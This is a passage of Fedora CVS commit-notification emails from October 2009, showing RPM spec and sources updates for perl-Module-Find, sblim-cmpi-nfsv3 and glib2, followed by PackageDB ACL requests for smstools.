+find $RPM_BUILD_ROOT -depth -type d -empty -exec ';'
 %{_fixperms} $RPM_BUILD_ROOT/*
 
 
@@ -54,6 +56,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Stepan Kasal <skasal at redhat.com> - 0.08-1
+- new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.06-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	3 Jul 2008 06:07:16 -0000	1.3
+++ sources	7 Oct 2009 14:29:37 -0000	1.4
@@ -1 +1 @@
-64254ded9d9aea2845a2c7cf25a2949b  Module-Find-0.06.tar.gz
+6becb3eeba2da3dba180b9c90cd75e7b  Module-Find-0.08.tar.gz



From kasal at fedoraproject.org  Wed Oct  7 14:33:49 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 14:33:49 +0000 (UTC)
Subject: rpms/perl-Module-Find/devel perl-Module-Find-changes.patch, NONE,
	1.1
Message-ID: <20091007143349.4E8E811C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Module-Find/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4619

Added Files:
	perl-Module-Find-changes.patch 
Log Message:
- new upstream version

perl-Module-Find-changes.patch:
 Changes |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE perl-Module-Find-changes.patch ---
2009-10-07  Stepan Kasal  <skasal at redhat.com>

	* Changes: fix utf-8 typo, add entry from Find.pm

--- Module-Find-0.08/Changes.cha	2009-09-08 11:00:16.000000000 +0200
+++ Module-Find-0.08/Changes	2009-10-07 16:16:11.000000000 +0200
@@ -25,6 +25,9 @@
 
     0.06, 2008-01-26
             Module::Find now won't report duplicate modules several times 
-            anymore (thanks to Uwe V?lker for the report and the patch)
+            anymore (thanks to Uwe V?lker for the report and the patch)
 
+    0.07, 2009-09-08
+            Fixed RT#38302: Module::Find now follows symlinks by default
+            (can be disabled).
 



From vcrhonek at fedoraproject.org  Wed Oct  7 14:41:08 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:41:08 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/F-10 sblim-cmpi-nfsv3.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007144108.1B1B311C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6190

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv3.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/F-10/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:41:07 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From kasal at fedoraproject.org  Wed Oct  7 14:42:03 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Wed,  7 Oct 2009 14:42:03 +0000 (UTC)
Subject: rpms/perl-Module-Find/devel perl-Module-Find.spec,1.6,1.7
Message-ID: <20091007144203.BAC5511C00E6@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Module-Find/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6363

Modified Files:
	perl-Module-Find.spec 
Log Message:
oops, typo


Index: perl-Module-Find.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Module-Find/devel/perl-Module-Find.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- perl-Module-Find.spec	7 Oct 2009 14:29:37 -0000	1.6
+++ perl-Module-Find.spec	7 Oct 2009 14:42:03 -0000	1.7
@@ -36,7 +36,7 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make pure_install PERL_INSTALL_ROOT=$RPM_BUILD_ROOT
 find $RPM_BUILD_ROOT -type f -name .packlist -exec rm -f {} ';'
-find $RPM_BUILD_ROOT -depth -type d -empty -exec ';'
+find $RPM_BUILD_ROOT -depth -type d -empty -exec rmdir {} ';'
 %{_fixperms} $RPM_BUILD_ROOT/*
 
 



From vcrhonek at fedoraproject.org  Wed Oct  7 14:48:22 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:48:22 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/EL-5 sblim-cmpi-nfsv3.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007144822.CC76811C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7155

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv3.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:48:22 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From mclasen at fedoraproject.org  Wed Oct  7 14:51:00 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 14:51:00 +0000 (UTC)
Subject: rpms/glib2/F-12 .cvsignore, 1.117, 1.118 glib2.spec, 1.225,
	1.226 sources, 1.119, 1.120
Message-ID: <20091007145100.83A4111C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/glib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7457

Modified Files:
	.cvsignore glib2.spec sources 
Log Message:
2.22.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glib2/F-12/.cvsignore,v
retrieving revision 1.117
retrieving revision 1.118
diff -u -p -r1.117 -r1.118
--- .cvsignore	30 Sep 2009 02:25:41 -0000	1.117
+++ .cvsignore	7 Oct 2009 14:51:00 -0000	1.118
@@ -1 +1 @@
-glib-2.22.1.tar.bz2
+glib-2.22.2.tar.bz2


Index: glib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glib2/F-12/glib2.spec,v
retrieving revision 1.225
retrieving revision 1.226
diff -u -p -r1.225 -r1.226
--- glib2.spec	30 Sep 2009 03:03:54 -0000	1.225
+++ glib2.spec	7 Oct 2009 14:51:00 -0000	1.226
@@ -2,7 +2,7 @@
 
 Summary: A library of handy utility functions
 Name: glib2
-Version: 2.22.1
+Version: 2.22.2
 Release: 1%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/lib*.a
 
 %changelog
+* Wed Oct  7 2009 Matthias Clasen <mclasen at redhat.com> - 2.22.2-1
+- Update to 2.22.2
+
 * Tue Sep 29 2009 Matthias Clasen <mclasen at redhat.com> - 2.22.1-1
 - Update to 2.22.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glib2/F-12/sources,v
retrieving revision 1.119
retrieving revision 1.120
diff -u -p -r1.119 -r1.120
--- sources	30 Sep 2009 02:25:41 -0000	1.119
+++ sources	7 Oct 2009 14:51:00 -0000	1.120
@@ -1 +1 @@
-12297a7da577321647b38ade0593cb3c  glib-2.22.1.tar.bz2
+846a86c74b74d5b16826aa5508940f9b  glib-2.22.2.tar.bz2



From vcrhonek at fedoraproject.org  Wed Oct  7 14:56:03 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 14:56:03 +0000 (UTC)
Subject: rpms/sblim-cmpi-nfsv3/EL-4 sblim-cmpi-nfsv3.spec, NONE, 1.1 sources,
	1.1, 1.2
Message-ID: <20091007145603.1AB1E11C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cmpi-nfsv3/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8195

Modified Files:
	sources 
Added Files:
	sblim-cmpi-nfsv3.spec 
Log Message:
Initial commit


--- NEW FILE sblim-cmpi-nfsv3.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

Summary:        SBLIM nfsv3 instrumentation
Name:           sblim-cmpi-nfsv3
Version:        1.0.14
Release:        1%{?dist}
License:        CPL
Group:          Applications/System
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}.tar.bz2

BuildRequires:  tog-pegasus-devel >= %{tog_pegasus_version}
BuildRequires:  sblim-cmpi-base-devel
Requires:       tog-pegasus >= %{tog_pegasus_version}
Requires:       sblim-cmpi-base
Requires:       /etc/ld.so.conf.d
Requires(post): /sbin/ldconfig
Requires(postun): /sbin/ldconfig

%description
Standards Based Linux Instrumentation Nfsv3 Providers

%package devel
Summary:        SBLIM Nfsv3 Instrumentation Header Development Files
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description devel
SBLIM Base Nfsv3 Development Package

%package test
Summary:        SBLIM Nfsv3 Instrumentation Testcases
Group:          Applications/System
Requires:       %{name} = %{version}-%{release}
Requires:       sblim-testsuite
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description test
SBLIM Base Fsvol Testcase Files for SBLIM Testsuite

%prep
%setup -q

%build
%ifarch s390 s390x ppc ppc64
export CFLAGS="$RPM_OPT_FLAGS -fsigned-char"
%else
export CFLAGS="$RPM_OPT_FLAGS" 
%endif
%configure \
        TESTSUITEDIR=%{_datadir}/sblim-testsuite \
        CIMSERVER=pegasus \
        PROVIDERDIR=%{provider_dir}
sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
make

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
mv $RPM_BUILD_ROOT/%{_libdir}/libLinux_NFSv3SystemConfigurationUtil.so $RPM_BUILD_ROOT/%{_libdir}/cmpi/
# remove unused libtool files
rm -f $RPM_BUILD_ROOT/%{_libdir}/*a
rm -f $RPM_BUILD_ROOT/%{provider_dir}/*a
# shared libraries
mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d
echo "%{_libdir}/cmpi" > $RPM_BUILD_ROOT/%{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files
%defattr(-,root,root,-)
%docdir %{_datadir}/doc/%{name}-%{version}
#%{_libdir}/*.so
%{provider_dir}/*.so
%{_datadir}/%{name}
%{_datadir}/doc/%{name}-%{version}
%config(noreplace) %{_sysconfdir}/ld.so.conf.d/%{name}-%{_arch}.conf

%files test
%defattr(-,root,root,-)
%{_datadir}/sblim-testsuite

%define NFSV3_SCHEMA %{_datadir}/%{name}/Linux_NFSv3SystemSetting.mof %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.mof
%define NFSV3_REGISTRATION %{_datadir}/%{name}/Linux_NFSv3SystemConfiguration.registration %{_datadir}/%{name}/Linux_NFSv3SystemSetting.registration

%pre
# If upgrading, deregister old version
if [ $1 -gt 1 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%post
/sbin/ldconfig
if [ $1 -ge 1 ]; then
# Register Schema and Provider - this is higly provider specific
  %{_datadir}/%{name}/provider-register.sh \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi;

%preun
# Deregister only if not upgrading 
if [ $1 -eq 0 ]; then
  %{_datadir}/%{name}/provider-register.sh -d \
  -t pegasus -r %{NFSV3_REGISTRATION} -m %{NFSV3_SCHEMA} > /dev/null 2>&1 || :;
fi

%postun -p /sbin/ldconfig

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Tue Sep 29 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.0.14-1
- Initial support


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cmpi-nfsv3/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:29:28 -0000	1.1
+++ sources	7 Oct 2009 14:56:02 -0000	1.2
@@ -0,0 +1 @@
+9979ff8134f48aff6553ed4975f388eb  sblim-cmpi-nfsv3-1.0.14.tar.bz2



From mclasen at fedoraproject.org  Wed Oct  7 14:58:59 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed,  7 Oct 2009 14:58:59 +0000 (UTC)
Subject: rpms/glib2/F-12 glib2.spec,1.226,1.227
Message-ID: <20091007145859.BD9A711C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/glib2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9203

Modified Files:
	glib2.spec 
Log Message:
drop upstreamed patch



Index: glib2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/glib2/F-12/glib2.spec,v
retrieving revision 1.226
retrieving revision 1.227
diff -u -p -r1.226 -r1.227
--- glib2.spec	7 Oct 2009 14:51:00 -0000	1.226
+++ glib2.spec	7 Oct 2009 14:58:59 -0000	1.227
@@ -21,8 +21,6 @@ BuildRequires: glibc-devel
 BuildRequires: automake autoconf libtool
 BuildRequires: gtk-doc
 
-Patch0: fix-runtime-libdir.patch
-
 %description
 GLib is the low-level core library that forms the basis
 for projects such as GTK+ and GNOME. It provides data structure
@@ -54,9 +52,6 @@ of version 2 of the GLib library.
 
 %prep
 %setup -q -n glib-%{version}
-%patch0 -p1 -b .fix-runtime-libdir
-
-autoreconf -f -i
 
 %build
 %configure --disable-gtk-doc --enable-static --with-runtime-libdir=../../%{_lib}



From pkgdb at fedoraproject.org  Wed Oct  7 15:00:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:00:59 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150059.C35FD10F84D@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:22 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
Message-ID: <20091007150122.88D1710F84D@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:27 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150127.9D74F10F84D@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:40 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
Message-ID: <20091007150140.F0A6410F892@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:46 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150146.74ABF10F84D@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:49 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150149.6206410F892@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:53 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
Message-ID: <20091007150154.0194F10F892@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:55 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150155.A70A510F894@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:01:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:01:57 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150157.A7BF510F8A1@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:08 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
Message-ID: <20091007150208.17C2A10F88F@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:10 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150210.4574810F895@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:12 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150212.1C47F10F892@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:17 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
Message-ID: <20091007150217.0CEEB10F880@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchbugzilla acl on smstools (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:18 +0000
Subject: [pkgdb] smstools: pcfe has requested watchcommits
Message-ID: <20091007150218.D6ED010F8A3@bastion2.fedora.phx.redhat.com>

pcfe has requested the watchcommits acl on smstools (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:20 +0000
Subject: [pkgdb] smstools: pcfe has requested commit
Message-ID: <20091007150220.CA13310F8A8@bastion2.fedora.phx.redhat.com>

pcfe has requested the commit acl on smstools (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/smstools



From pkgdb at fedoraproject.org  Wed Oct  7 15:02:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 07 Oct 2009 15:02:30 +0000
Subject: [pkgdb] smstools: pcfe has requested watchbugzilla
